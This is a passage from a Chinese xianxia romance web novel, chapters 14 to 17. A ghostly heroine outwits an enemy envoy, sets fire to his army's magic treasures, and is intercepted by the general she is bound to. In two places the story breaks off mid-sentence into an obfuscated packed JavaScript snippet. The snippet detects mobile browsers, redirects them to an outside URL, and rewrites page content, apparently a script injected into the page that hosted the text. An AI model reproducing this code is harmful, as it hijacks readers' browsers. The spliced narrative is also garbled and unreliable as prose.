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她抬眸瞥了瞥虞雍身上的宝物,只一眼,就认出了那是自己在千洲时为了师兄袁涣轩,亲自造出来的东西,花费了她不少心神代价。 一时间,宴堂上兵戈相接,在所有人都未曾注意到的时候,有一小仙童悄悄从这满堂混乱中退了出去。 这仙童步履匆匆,在一座座营帐中窜梭,直奔楚扶昀所在的军帐而去。 “将军!”仙童在军帐外直挺挺跪下,叩首伏拜,“小仙有急事禀告!” 这天下有一个不成文的规矩。 世间文武仙神实在众多,大多各有法号称谓,但若是不带任何前缀的只提起“将军”二字,从来,都仅指楚扶昀。 所以当这仙童喊出“将军”二字时,所有人都知晓,是为找楚扶昀。 军帐帐帘被兵将掠开,帐中有一部署兵力的沙盘,沙盘周围站着除了神农岐外的十一太仙,神情各异。 而这些太仙所归顺信服的唯有一人,那人站在半明半暗的阴影里,仿佛高立云端之上。 楚扶昀眉心轻锁,不动声色的瞥了一眼仙童。 “何事。” 仙童忙道:“禀将军,中洲尊主虞雍十分不知死活,不仅大放厥词说少宫主与您形同陌路,还骂您可耻,扬言少宫主本该与袁涣轩才是一对!” “虞雍眼下正在宴堂上作威作福!竟还打算将少宫主强抢了去,说让少宫主许给他做姬妾!惹得神农太仙怒火中烧!” 楚扶昀:“……” 仙童默默在心里给自己记上一功。 其实有时候,没有录音的法宝也没关系。 毕竟靠人传话,不仅绘声绘色,还能添油加醋呢。 14. 江水汤汤问情乱心 离谱。 离大谱! 这是神农岐跪在宴堂的杯酒狼藉中,发出的深深悔悟。 靠!他居然让虞雍跑了! 他设想过很多敌军派遣使者来的目的——密探消息,劝降兵将,离间人心,说白了,就是探子或说客,以往作战时又不是没见过,都快习以为常了。 可他唯独没想到,对方来此是为了来要人的。 他们想要走少宫主。 一帮鳖孙!想都别想! 想到这儿,他忍不住又暗自将虞雍骂了个狗血淋头,心里愤恨,可头却是垂的更低了,冷汗涔涔。 因为楚扶昀眼下正端坐在他面前的一张太师椅上,闭着眼睛,神情看上去是不容置疑的冷静,没笑,只有恐怖到极致的压迫感。 暮兮晚没跪,楚扶昀也不会让她跪,她只是垂着眸站在将军面前,不知在想什么,不说话。 “重复一遍,你一切行动的最高指令。”终于,楚扶昀低沉黯哑的嗓音响起。 神农岐额间的冷汗霎时淌下来,他咬了咬牙关,道:“保,保证少宫主的平安。” 一时间,满室寂静,连呼吸都是十足十的小心翼翼,隐隐有一种无法挣脱的窒息感。 楚扶昀没有说话,仍旧闭着眼睛,看不出半分情绪,因打斗而变得一滩狼藉的宴堂内只余朦胧烛光,摇曳着,照得他轮廓分明,半昏半暗。 神农岐在这寂静中咬牙跪着,心中却生出了无穷无尽的深深后怕。 因为他忽然想明白了一桩事。 虞雍此来的目的,是为带走少宫主。 若当时暮兮晚没有易容,若是虞雍认出了与他一道前去的女子是少宫主,顷刻间,少宫主所有的一切都会面临暴露,敌军会锁定她的位置,清楚她的状态,然后,不择手段带走她。 在没有意识到的时候,他竟直接将少宫主送到了敌人的眼皮子下! “卑职知罪!”他立刻伏地一拜,朗声道,“但凭将军发落处置!” 楚扶昀这才慢慢睁开了眼睛,眸光里是不动声色的无边沉寂,身上的压迫感半分没褪,他手中指腹捻了捻,轻声道:“你们此番胡闹,还探出了什么。” 用的是“你们”二字,意味着这个问题,可以不仅仅让神农岐来答。 暮兮晚听明白了这点言外之意,也不忍让神农岐一人承担面对楚扶昀的压力。 她清楚他的雷霆手腕,以前在白洲时见过几次,带兵一向狠、绝、厉,平日里看起来似乎好说话,也会采纳谏言,但一旦遇上生死大事了,他不会有半分妥协犹豫。 想了想,暮兮晚道:“半灯城的水陆先锋,调拨船只俱已完备。” 楚扶昀微微颔首,道:“还有呢。” “兵器法宝亦是精良,是我军所不能及。”暮兮晚吞咽一下,斟酌了片刻,又道,“尤其是虞雍身上的法宝……那是我以前在方外宫时打造的宝物。” 楚扶昀似乎并不意外,他冷着脸,眸色深了几分:“是你为何人所造?” 暮兮晚闭了闭眼,一时间没有即刻答他,心里兵荒马乱了许久,也想了无数的谎话与借口。 可楚扶昀并不打算轻易饶她,只是安静地等着她一五一十的回答。 暮兮晚不得不如实道:“是我为我师兄……” 话未说完,便被遽然打断了。 “你送他的东西,被他随意转赠给了下属?”楚扶昀冷笑一声——他此时此刻面上终于有了点儿别的神情,虽然在笑,却称不上喜悦,以至于看起来更阴晴不定了。 暮兮晚本能争辩道:“不,我以前为师兄造了许多,也同他说过可以赠与下属将士们,毕竟是用来保命的……” “少宫主。”这下,楚扶昀唇边那半分冷笑都没了,神情很冷,像一小片风雪刮过去了,“为他开脱,你这算什么?” 在场所有人听了这话,不由得呼吸一滞,瞬间提心吊胆。 说错话了。 暮兮晚这才蓦地反应过来。 “我师兄”这三个字,或许惹恼他了。 以前初嫁到白洲时,她最爱提起的就是“我师兄”三个字,并且经常拿楚扶昀同她师兄做比较,越比越觉得还是师兄好,师兄温和如谦谦公子,从来不疾言厉色,也不会心思难测。 不像楚扶昀,他一生都活在金戈铁马的动荡血腥中,披着满身风尘。 她最开始,很讨厌楚扶昀身上无论如何都遮盖不了的杀伐戾气。 可…… 在死了一遭后,暮兮晚本来想尽量纠正“我师兄”这个称呼,可方才一时着急没有提前想好措辞,以至于下意识说出口的,还是“我师兄”三个字。 她忽然明白了,像楚扶昀这样骄傲的人,怎么可能容忍他自己被比来比去? “我没有为他开脱。”暮兮晚定了定心神,连忙纠正了措辞,解释道,“我想说的是,虞雍他们手上的法宝肯定不止这一件,得早做防备。” “……” 楚扶昀的眉心终于有所松动,但神色还是说不清是好是差,他微微一叹,看向依旧跪在地上的神农岐,下了一道令。 “无戒刑,二百八十鞭。” 是道常见于军队中的惩罚。 和凡间的刑罚不同,这是一种专门施在仙家兵将身上的背刑,五百鞭以上落残,折损修为,千鞭以上要命,身死道消。 二百多鞭,不算太重。 神农岐不由自主的松了一口气,将军到底是高高拿起轻轻放下,没有对他下狠手。 他再次磕头领命,起身,缓缓退离这一室狼藉。 暮兮晚皱了皱眉:“能不能……” 似乎是还想为神农岐求情。 “少宫主,这里不是你的方外宫。”楚扶昀终于微微倾了倾身,他揉着眉心,淡声道,“让神农岐记着疼,也是记着一个教训,一切举止行动,都得先想清楚敌人的目的。” 楚扶昀双手交叠在膝间,凝着她,轻轻地叹了一口气。 “你今后,也永远记着一点。” “慈不掌兵。” 慈不掌兵。 这四个字像一记警钟敲在暮兮晚心间,她忽然开始胡思乱想,甚至忍不住好奇,自己要是他手下的人,犯了错,也会受到一样的惩罚么? 他又会因为她心软么? 一时走神,就被楚扶昀察觉了端倪,他皱了皱眉,伸手示意她过来。 “在想什么。”他又细想一遍,确认自己方才没有对她说任何重话,“我没有生你的气,你怎么,倒是同我先计较上了。” 暮兮晚慢慢走到他身边的一张方凳上坐下了,微微仰起头,正色道:“我在想,要不然我还是回馆驿去。” “毕竟在这里,我好像给你添了不少麻烦。”她尽量让自己看起来 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楚扶昀目光凝了凝,似乎是没想到她会在这个节骨眼儿提起这事,心里一悸,像是被她的目光瞧出了涟漪不平。 暮兮晚看着他,两人目光相接,谁也不避让:“之所以到你这里胡闹似的闲逛……” 她唇畔扬起一分浅笑,声音调皮的,像是一个小小的恶作剧得逞了。 “是因为,我想见你了。” 这些时日,你一直都不回馆驿见我,所以我主动来到你这里。 楚扶昀起先是一怔,指尖攥紧了,随后,又慢慢松开。 他忽然笑了一声,只有一瞬,笑意渐渐藏在眼里眉梢,不露分毫。 差点儿忘了,他的少宫主,是这天下最聪明的姑娘了。 连说起谎言来,也学得惟妙惟肖,学得非常好,以至于让他差点儿信了。 她看着他,眉眼弯弯:“是你想听的,好听的话么?” 他承认:“是。” 他隐着笑,问道:“是谎言么。” 这回,轮到暮兮晚故作高深了。 她像猜字迷那样想了又想,静了很久,才很吝啬地告诉了他一句模棱两可的答案。 “你猜啊。” 几分真心,几分假意。 你猜呀。 …… 这场谈话戛然而止了。 谁也没再去深究两个人模棱两可的话语里所藏着的言外之意,毕竟谁都懂一个道理——学会点到为止,有些事一旦越界,最容易失望而归。 三日后,暮兮晚回了馆驿。 月上时分,馆驿院落内树影绰绰,鸟雀鸣叫,暮兮晚正准备回屋休憩时,却像是察觉到了什么似的脚步一顿,随后转身看向树间阴影处,轻声道。 “神农岐仍在受罚,我身边没有他人,阁下遮遮掩掩跟了这么久,有话还请当面直言吧。” 须臾,树梢投下的影子再次晃动几分。 只见诡谲多变的黑暗中,有一位富贵锦衣的公子王孙缓缓踱步而出,声音轻佻。 “月下观美人,果真一绝啊。” 竟是原本早该逃掉的中洲尊主。 虞雍。 “少宫主,您该回千洲了。” 15. 江水汤汤问情乱心 “少宫主,您该回千洲了。” 夜色穷凶极恶,虞雍站在暗影中,目光直勾勾地打量着暮兮晚,唇角浮着嘲弄的笑。 他捻起诀念了个咒,霎时有一道黑色的法术围困了暮兮晚。 “何时发现我的?”暮兮晚凝着他,看起来依旧气定神闲,可实际上,她很清楚自己脆弱的魂体压根经不住这些法术的丝毫伤害,一旦碰上,顷刻间就会魂飞魄散。 她不能让虞雍瞧出这点破绽。 虞雍微笑:“在宴堂上与神农太仙交手时发现他对您几乎是寸步不离,护得万分周全,想来,必是受了白帝的法旨。” 暮兮晚闭了闭眼,笑道:“你潜入请花关,居然没让任何人察觉。” 虞雍特别热情,甚至可以称得上殷切了,道:“自然都得归功于少宫主旧时炼化的宝物。” 暮兮晚一言不发。 她当然清楚,以前在方外宫时她最擅的就是以真火炼化法宝,近百年来零零碎碎的炼了不少,自己用不上的干脆就随手送人,送过师叔师妹,送过师兄,也送过仲容,送了特别特别多。 如今有一两件落到虞雍手里,倒也不足为奇。 “少宫主,您还呆在请花关做什么呢?”虞雍不紧不慢的劝说着,他确实是被仲容派来当说客的,可劝降对象却不是楚扶昀或虞辞,而是暮兮晚,“为了楚扶昀?为了虞辞?都不过是外人而已。” 外人。 暮兮晚被这两个字扎得不是滋味,她呼出一口气,反问道:“虞辞明明是你血亲妹妹,怎么?她对你而已也是‘外人’么?” 虞雍笑得有些狰狞:“我们早已没有兄妹情分,她欲将我除之后快,我亦如此。” 暮兮晚有点儿惊奇,她很少见到这样的兄妹,双方都恨不得对方去死,简直称得上有不共戴天之仇了。 “为了什么?富贵功名?仙家地位?”她试图迂回得知更多的消息。 虞雍倒是没跟她兜圈子,在他看来这也不算是什么秘密:“我这位妹妹确实有着巾帼好胆色,我与她原本都是中洲的公子王孙,后来我们分道扬镳,她去了东洲问道求仙,我归降千洲公子袁涣轩。” “而我们的真正交恶,则是为了一棵树。” 暮兮晚下意识接话:“东洲的镇洲神珍,木岁树?” 虞雍咬牙笑:“木岁树为三十三重天上的木岁星下凡,主世间福庆,这样的绝世宝贝!只要利用得当,足以颠覆四海主掌八方!可你知道她那个蠢货干了什么吗!” 暮兮晚摇摇头,心道我才是一时犯傻,竟将它浇焉儿了。 虞雍道:“我曾对她提议只要交出木岁树,我们兄妹二人即可联手称王称圣,可她不仅拒了我,竟还设立请花关保护此树,说是‘不想妄动木岁星的因果’。” 想到这儿,虞雍不由得怒从中来,若有木岁在手,假以时日何愁不能统率天下? 愚蠢! 她在东洲修的什么道果!竟修得一腔无济于事的慈悲心肠! “她既然不肯交出木岁,那我亲自来夺。” 虞雍将拔高的声音压下来,平了平心中怒火,尽量和颜悦色:“如何?满足少宫主您的好奇心了吗?恩怨故事听完了,您也该回方外宫了。” 暮兮晚神情微微一动:“若我不呢?” 虞雍的声音透着冷意:“这可由不得你。” 他再次捻诀,步步施法紧逼暮兮晚。 暮兮晚蹙眉,她迟疑了很久,终于无可奈何地点了一下头:“明白了,但你得给我三日时间。” 虞雍似笑非笑:“怎么?想逃?” 暮兮晚叹气,道:“给我三日彻底甩掉神农岐,他受罚结束一定会来寻我,你也不想我前脚走,后脚马上就被发现不见了吧。” 虞雍沉了神色,陷入忖量。 请花关有重重兵力围困,他确实无法逗留太久,能像今夜这样潜进馆驿寻得机会与少宫主交谈一二已是不易,更别提径直带她离开,风险太高,他还不至于为此赔上自己命。 更遑论,他想不出暮兮晚逗留于此的缘故。 她总不至于真的爱上了楚扶昀,那方外宫那袁涣轩一腔痴情,又算什么? “三日后的夜半二更时,我在渡口等候少宫主。”虞雍说罢,身影一闪彻底消失不见。 暮兮晚站在夜风里,沉沉一叹。 …… 翌日,馆驿里冒出了一位不速之客。 “阿晚姑娘你忙不忙呀,嘿嘿,我能来蹭点儿吃的吗?” 神农岐笑盈盈地坐在堂屋里,挎着药箱一身丁零当啷的响,没有半点儿刚刚受过军法的挫败感,看上去精神气儿十足。 本来世间凡求道问仙者,皆养身清净,不沾五谷,但总有些人不能免俗,吃着吃着,大家逐渐发现这五谷沾不沾好像和法力高不高压根没什么关系嘛! 很少有人能拒绝“好吃”两个字的! 暮兮晚就完全没法拒绝,她从沾满烟火气的凡尘小菜到仙家珍馐都吃得很香,吃得津津有味,用长嬴的话来讲那就是——“哪里来的大馋丫头哦!” 但这都是她生前的事了,如今死了,大馋丫头被迫变得清心寡欲了。 听了神农岐的要求,暮兮晚的神情变得格外郑重,她抬了抬眸,反复打量了这栋粮油米面一应俱全却唯独没有仙侍的馆驿。 最终,她严肃道:“我不会下厨。” 暮兮晚并不是一个笨手笨脚的姑娘,四体不勤盐糖不分,恰恰相反,她其实很有鬼点子,落到实处便是能炼化各式各样的法宝,神农岐的千机药箱就是她灵机一动的杰作。 可偏偏,下厨一事最忌讳的就是灵机一动。 神农岐蓦地一顿,他这辈子都忘不了在白洲时少宫主曾下过一次厨,然后她就搞出草莓咕咾肉这么个奇葩菜肴。 他有些恍神,遗憾道:“哦,忘了将军不在了……” 神农岐从没有这么迫切的希望一场战役赶紧结束。 只要战役结束,将军就能回来,将军会下厨,然后他就能来阿晚姑娘这里蹭吃蹭喝了。 “我也忘了你如今还是个魂儿了……”神农岐继续干巴巴地伤春悲秋着。 “那能帮我这个魂儿一个忙么?”暮兮晚同情地拍了拍神农岐,一边说着,一边从腰间解下了一个香囊荷包递给他,“你帮我看看它有没有任何问题。” 神农岐回过神,接过一看,直接惊了:“返魂香?你从哪里搞来这么一个宝贝?” 暮兮晚道:“将军给的,我想知道它是由什么炼化而成的。” 神农岐皱了皱眉,他小心翼翼将返魂香放到仙桌上,凝了个法术一点,返魂香即刻有一缕幽香缓缓从中飘出,萦绕在他的指尖。 “此物能固魂凝心,想是出自幽冥判官之手。”他收了法术,将那一缕实质化的幽香握在掌心,又道,“至于由何物炼化而成……阿晚姑娘,你得再给我点儿时间。” 暮兮晚并不着急这事儿,她颔首道谢,将返魂香重新系回腰间。 于是得了新差事儿的神农岐完全闲不住,他拎着药箱临时借住馆驿,关上门彻夜通宵地研究起返魂香。 不日,他就将返魂香的香方告知了暮兮晚。 暮兮晚听过后神情没什么变化,只是点头说了句“我知道了”,便不知又有了什么新点子,先是向虞辞要了点儿工具,又向长嬴要了团火,在房中以火作阵,炼化着什么东西。 直至三日后,一更时分。 黝黑的夜色里,两人坐在屋檐的石阶上闲话纳凉,只可惜天边雷声隐隐,黑夜中似有暴雨将至,不仅纳不了凉,反倒有些闷热。 “天亮时,你们是不是就要出征了?”暮兮晚没抬头,她垂眸,手中在很专心致志地打着一根络子。 神农岐看起来很放松:“对,黎明时大军从关口出发,横渡大江至半灯城。不过是将军去啦,我不去的,我领的法旨是看好你。” 暮兮晚笑了一声,精致漂亮的绳结在她指尖渐渐成型。 “抱歉。”她忽然低声说了一句没头没尾的话。 神农岐没听明白这句抱歉从何谈起:“啊,咋了?” “我可能……要让你的任务失手了。”暮兮晚用剪刀给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这话既像说给神农岐听的,也像是说给她自己听的。 她说完,又仔细想了一遍所有行动细节,没觉出什么破绽。 自来到请花关后,楚扶昀就一直宿在军营,从没有一次踏足过馆驿,她很清楚若是他忙起来了,是从不会顾及她的,更遑论大军出征的夜晚。 所以,他也绝不会发现她离开过。 暮兮晚绑好了捆仙绳,确认神农岐彻底昏迷后直起身,笑了笑,收好身上的所有东西。 然后,她身形一隐,就飘出了馆驿。 轰隆一声雷鸣落下,夜里起了雨。 起初只是雾蒙蒙的小雨,可随着雷声愈近,雨一落,地面很快就积了深浅不一的水坑。 风声,雨声,劈头盖脸。 楚扶昀就是在这样的风雨中赶回来的。 雨水顺着他一身银盔白甲滴沥往下淌,又急又快,可他压根没顾及这些,甚至懒得施法拂去这些冰凉浸骨的雨水。 他只想快一点儿回到馆驿。 这样就能在分别前,来得及再看她一眼。 天亮时大军出征,这一去,他们会有三日见不到面。 大雨拍着大开的窗棂沙沙作响。 楚扶昀皱了皱眉,他走进屋内想去关上那扇窗棂。 可下一刹,他眸光有一瞬停住了。 屋内空无一人。 只有被绑了捆仙绳,扔在墙边昏睡的神农岐。 楚扶昀的目光,一点一点寂下去。 他一眼就认出了绑着神农岐的捆仙绳是她的系绳手法,很好认,他以前特意留心过,况且能轻轻松松就算计了神农岐的人,除了她,也不会再有别人。 她逃了。 楚扶昀伫立在满室黑暗中,忽然唇角一扯,笑了。 窗外有一道电光落下,照得他身影明灭,连眉目都清冷。 可他眸光阴沉的,却比一场落雨还寒。 16. 请良君杯酒散花洲 云乱,夜雨初至。 请花关有一座仙家道场,在天归初年时,木岁星落凡转世,在此地化作一棵瑞气氤氲的仙树。 如今二百二十载春秋已过,它红尘将了。 虞辞手托净瓶站在木岁树下,近侍的仙子正为她打着一把青伞。 虞辞望着花树明眸而笑,道:“你可知这世间最美的花雨在哪儿吗?” 仙子迟疑:“禀殿下,都说东洲是人间仙境,多仙花瑶草,我想,应该是在东洲吧。” 虞辞轻声道:“在白洲。” 仙子十分惊奇,下意识道:“但白洲是兵家之地,那里……” 只有残阳红日,萧瑟的芦苇深秋啊。 “在暮兮晚未曾嫁去白洲前,那里确实十分寂寥无趣。”虞辞转眸看着身边年龄不大的仙子,随意道,“听过‘请君散花’这一闻名四海十洲的美谈吗?” 仙子有点儿愧疚的摇摇头。 虞辞目中含笑,像讲故事一般娓娓道来:“你应该知晓,楚扶昀作为智将,儒将,他在世间的白帝将军庙香火可谓十分旺盛。” “与寻常仙神不同,比起信奉敬仰,百姓们对楚扶昀更多的是畏惧,毕竟他身上的杀伐锋利之气让人没法不害怕。” 仙子道:“白帝自有威灵,小仙道行尚浅,亦是望而生畏。” 虞辞道:“所以啊,白帝的出征凯旋也一向清清冷冷,根本没人会为他迎接祝贺,只有依礼筹备的祭祀行仪,但白帝似乎认为这些徒有其表的规矩没有必要,后来,干脆连这些表面功夫都没有了。” “这种情况所有人都习以为常了,直到有一天,楚扶昀再次得胜归来时,整个白洲却忽然飘起了漫天花雨。” 仙子听得入神:“那花是……” 虞辞笑道:“自然是少宫主散的花。” “少宫主在嫁给白帝后曾采来天下百花,每逢他凯旋时为他散花祝祷,百年来从无一次间断。” “渐渐的,白帝归来之时必有花雨可观,人美景也美,世人对此趋之若鹜,再也不惧怕白帝身上的杀伐戾气,反将这一绝世胜景,唤作‘请君散花’。” 虞辞看着身边听得津津有味的仙子,捏了捏她的脸蛋儿,笑道:“你没有见过,所以才不知道,若是见了,方知‘请君散花’原来是这世间最美的花雨。” 仙子闻言眼睛一亮:“可白帝如今就在请花关呀!他三日后出征归来时,我是不是就能亲眼得见这一花雨了?” “我不太清楚少宫主如今的心思。”虞辞眨眨眼,语气很轻松,“不过白帝出征可是大事,这几日一定会有各方各界为赏此景的百姓道士,仙人弟子闻讯而来,请花关应当会很热闹。” 她说着,抬头望向势如银汉的雨夜。 雨还在落,潇潇疏疏似盆浇。 请花关今夜枕戈待旦,可在遥远江边另一侧的半灯城,就没那么风平浪静了。 “轰隆——!” 一声火光在半灯城的临江军营中冲天炸开。 半灯城的巡兵终于发现有人夜袭,仿佛鸟雀惊起似的,整个兵营一阵纷乱,仙兵仙将找不到来袭之人,一下子就惊慌失措了。 “轰隆——!”又是一声炸响,火焰冲天。 一派混乱中,有兵将跪在虞雍面前,战兢兢道:“禀尊主!我军半灯宝营中的船乘与法宝尽被烧毁,抢夺回来的十不存一!” “蠢货!”虞雍暴跳如雷,喝斥道,“还不赶紧找到纵火之人!乱我军心,罪当斩首!” 兵将领命奔去,可虞雍仍是惊惧大怒,他今夜确实在请花关渡口等到了随他而来的少宫主,也顺顺利利将人拘回了营帐中。 就在他刚将少宫主囚禁,回头想同仲容商议军事之际,整个半灯城的军营都起了火。 纵火贼到底是何人?能如此熟稔方外宫的整军布营,还能轻轻松松烧了宝库中的所有法宝!他不信没有奸细! 虞雍脸色难看,越想越胆战心惊,他随手捻诀,从燃烧的军帐上取下了一片火,只见小小的火焰在他掌心跳动,嚣张又狂妄。 此火绝非凡火,落雨不熄,非神力不能为之。 一旁身着黑灰道袍的仲容见状,沉沉地叹了口气:“你囚不住她的,我去寻她。” 仲容说罢,转身消失离去。 “砰——!”又是一声火光明灭。 “玄天有令,谨请火祖,通幽达明。” 大雨滂沱中,黝黑的夜晚成了最好的保护,整个半灯城的兵营都乱了,因此没有任何人看见,就在宝营中最高尖顶之上,孑然悬着一位惊艳无双的姑娘。 只见魂体半实半虚的她闭目而立,双手掐作请神指,口中念咒,足下生着一道鎏金赤色阵法,亦是半隐半现。 “无量煌煌,火急降灵,十方肃清,听我敕令!” 随着她的念咒,阵法中有一道又一道神火相继而出,精准无误的落进半灯城的宝库营帐中,燃成一片。 暮兮晚睁开眼眸,望着炸裂的,即将烧穿天际的火光,神情毫无波澜。 她没了法力没了仙骨,这些火都是她向长嬴借来的,虞雍他们一时半刻绝不可能轻易熄灭,这样烧下去,应该能烧到天明。 火光闪烁,交错的明暗照在她身上,她此时此刻没什么痛快感,反倒五味杂陈,这些法宝大多都是以前她在方外宫时炼化的,如今被她亲手烧的彻彻底底。 她的一腔真心,也烧的彻彻底底了。 暮兮晚瞥了一眼天色,算了算时辰,旋即收了所有咒诀,撤了阵法转身欲走。 可脚步一动,却听到有人唤她。 “少宫主。” 熟悉的声音在身后响起,让暮兮晚即将离去的步伐生生停住了。 暮兮晚回过身,居高临下的望向站在地上的人。 “仲容太师。”她吐了一口气,勉强打了个招呼。 “十二年不见,少宫主如今可安好啊?”仲容微微仰头和她对视着,语气很平缓,没有任何威胁或呵斥之意。 暮兮晚笑了一声,她低了低眸,看着自己周身无法掩盖的鬼气:“你觉得呢。” 仲容蹙眉,道:“少宫主受了不少苦。” 暮兮晚别开目光,没有说话。 以前还在方外宫当少宫主时,她与仲容关系不差,这位比她年岁大不了多少的道士有谋略之才,成天都泡在各类文墨古籍中,她受他影响,偶尔也会掉几句书袋子。 “随我回宫吧。”仲容温声劝道,“你的师兄一直都很后悔,他很想念你。” 这一句声音很温柔,暮兮晚心里一下子就泛起了委屈,她有点儿没法冷静:“后悔?后悔当年亲自杀我?想我?那他怎么不亲自来接我呢?” 仲容眉心蹙的更深了,道:“少宫主,一切都是个误会。” "当年的那场火是个意外,主上只想抹去你身上的红鸾契印,他从未想过害你,只是谁也不知为何一场普通的火,会变成能要命的荧惑真火。" 暮兮晚沉默了一会,忽然自嘲一笑:“所以十二年了,你们都没搞明白是何人动的手脚?” 仲容摇摇头:“对主上而言,最重要的是接你回去。” 暮兮晚微微垂眸,抿着唇,固执的一声不吭。 仲容望着如今一身鬼气,微微透明的少宫主,默默地叹了口气:“你先下来,我们心平气和的好好说话,就像以前那样,成么?” 暮兮晚眨了眨眼,她迟疑片刻,终于选择从高处轻轻飘下来,来到了仲容面前。 仲容再次放软了声音,道:“少宫主,随我回家,好不好?有什么委屈我们回家再说,十二年了,我也好,主上也好,都不想看见你在外面吃苦流浪。” 暮兮晚犹豫了一瞬,低声道:“我把你们军营的宝贝都烧完了。” 仲容无奈一笑,浑然不在意道:“只要你肯回去,谁又会在意这些身外之物呢?况且你也知道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320254|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的师兄绝不会因此对你生气。” “他又不是楚扶昀。” 仲容望着暮兮晚,说的话都是字字斟酌。 过往交情让他很了解暮兮晚,这丫头看着任性,其实内心很柔软,以前在方外宫时,若是因她的缘故连累师兄师妹一起挨罚了,她能一个人内疚好久,内疚到眼睛都冒泪花了。 她是一个可以接受自己有点儿委屈,但绝不肯让身边人受半点伤的姑娘。 听仲容提起“楚扶昀”三个字,暮兮晚的神情微微有所松动。 仲容继续劝道:“少宫主你听我说,你不要犯傻,留在楚扶昀身边对你没有任何好处。” “当年你的师叔师祖为了方外宫的利益地位,确实选择牺牲了你,你也应该清楚你与白帝之间的姻缘从一开始就是一场彻头彻尾的骗局。” 这句话像戳中了暮兮晚的心事,她眼眸垂得更低了,是啊,当年嫁给楚扶昀的真正目的是什么,她心知肚明。 当年方外宫的祖师们说,让她杀了楚扶昀。 但她失败了。 “少宫主,倘若楚扶昀知晓你接近他的真正意图是为了杀他,他还肯容忍你在他身边吗?” 暮兮晚嘴唇动了动,似乎是想说什么,她想寻出一点儿话来反驳——楚扶昀确实对她多有包容,可一旦他发现了自己曾想害他呢?他对她又会是怎样的态度呢? “我要见他。”半晌,她轻声说了这样一句话。 仲容皱眉:“谁?” 暮兮晚扬起眸,唇畔浅浅浮起一笑:“让袁涣轩来见我,我想听他亲自给我一个解释。” 她说罢,毫不犹豫的转身离开。 仲容瞬间慌了神,急忙道:“少宫主!你难不成真的要回楚扶昀身边?你凭什么这么信任他,就因为他在灵台山呆了十二年?” 暮兮晚一顿,慢慢道:“不是因为这个。” 仲容只觉得少宫主非常,非常的不冷静,如果不是眼下这般兵荒马乱的战况,他恨不得拉她直接坐下来,白纸黑字的将其间利害给她剖析的干干净净! “你难道赌虚无缥缈的‘情爱’二字吗?人心是会变的,你要是赌输了,又算什么啊!”他喊道。 暮兮晚身形半隐,在飘离此地的最后关头,她才像自言自语般低声说了一句。 “算我活该吧。” 她隐了身体彻底离开半灯城,毫无半分留恋。 火光渐渐远去了。 雨,淙淙如白浪的大雨。 暮兮晚拖着魂体一直飘,她慢吞吞地飘过江,大雨从她透明的三魂七魄中穿过,落不到身上半分。 她在天亮以前飘回了渡口。 可渡口处,却泊着一个人。 那人高而英挺,银盔,白甲,被大雨淋了个透,头发湿漉漉的,面色如霜。 “过来。”他开口了,是一道不容置疑的命令,斩钉切铁。 暮兮晚心里咯噔一声。 方才所有感时伤怀的心思全部烟消云散,她满脑子唯有一个念头——楚扶昀到底是怎么发现她不见了的? 神农岐提前醒来跑去告密了?不可能啊,先不提神农岐醒不醒,因为在她的心里,楚扶昀绝不可能在大军出征前夜,抛下一切来找她。 他疯了吗? 似乎是嫌她飘得太慢,楚扶昀皱了皱眉,他冷笑一声抬手捻了个诀,一道轻飘飘法术飞过来,不由分说地将她攥到了他身边。 暮兮晚没有防备,魂魄有一瞬不稳,连飘都飘得踉跄。 这一跌,措不及防就被他的法术扔进了他身边的停泊着的那艘踏云小船中。 楚扶昀笑了,冷冷地看着她,随后一个跨步也踏进了小船,用法术攥着她往自己身前一带,直接将人压在了怀里。 暮兮晚懵了 她下意识想挣扎,却又生生止住了,因为她蓦地觉得…… 这个称得上禁锢的怀抱,也像极了一个命令。 17. 请良君杯酒散花洲 暮兮晚很讨厌被人命令。 只因“命令”二字,对她而言有些残忍。 在方外宫时,仙家祖师们命令她,身为少宫主绝不可有任何失态,她应该清冷出尘,她应该仙风道骨,她的一举一动都必须循规蹈矩,不能有半点儿失态。 暮兮晚反抗过,可徒劳无意义的反抗换来的,只有更严苛的惩戒。 后来方外宫的祖师们命令她,嫁给楚扶昀,然后杀了他。 夺走楚扶昀的性命。 这是她不得不承接下的,最艰难的一个法旨。 去了白洲以后,暮兮晚起初一直在试图寻找机会接近他,杀他,可太难了啊,这天地间想要白帝性命的人不知何几,各方势力数百年都没能做到的事,凭什么让她做到呢。 她怀揣着必须杀了他的秘密每日小心翼翼的活着,也对他充满了不信任——她绝不相信楚扶昀在知道了她的真实目的后,能待她一如往昔。 他绝不会轻易放过她。 “少宫主。” 身前人目光深凉,冰冷的声音扯回她的思绪,没有半分松懈。 “跑了,还理直气壮的走神?” 暮兮晚眨了眨眼,在发现自己被他禁锢在怀中时,她慌了神,下意识想隐身逃掉,可魂体一动,才发现楚扶昀竟在她身上下一道法术,将她牢牢定在他身边方寸处。 “你,你……放开我!”她害怕,不断试图挣扎着,“楚扶昀大半夜的你发什么疯!你混账!” 滂沱大雨打着江水,江水在晃,踏云小船在这些惊涛骇浪之下,颠簸得更剧烈了。 楚扶昀皱了皱眉,忍着所有的不适。 “嗯,我混账。”他哂笑一声,松开了钳制着她的手,两个人顿时分开了些距离,“我很好奇,你有没有这样骂过袁涣轩。” 没有。 暮兮晚垂着眸,不敢将心里的话说出来——因为她一直认为师兄是个很温柔的人,所以,也从来没骂过他。 见她不说话,楚扶昀心中便有了答案,他扬眸,冷声道:“少宫主夜游半灯城,可真是好雅兴。” 是一句讽刺。 其实他很清楚,非常清楚她的行动目的,但是,他偏要逼着她亲口承认。 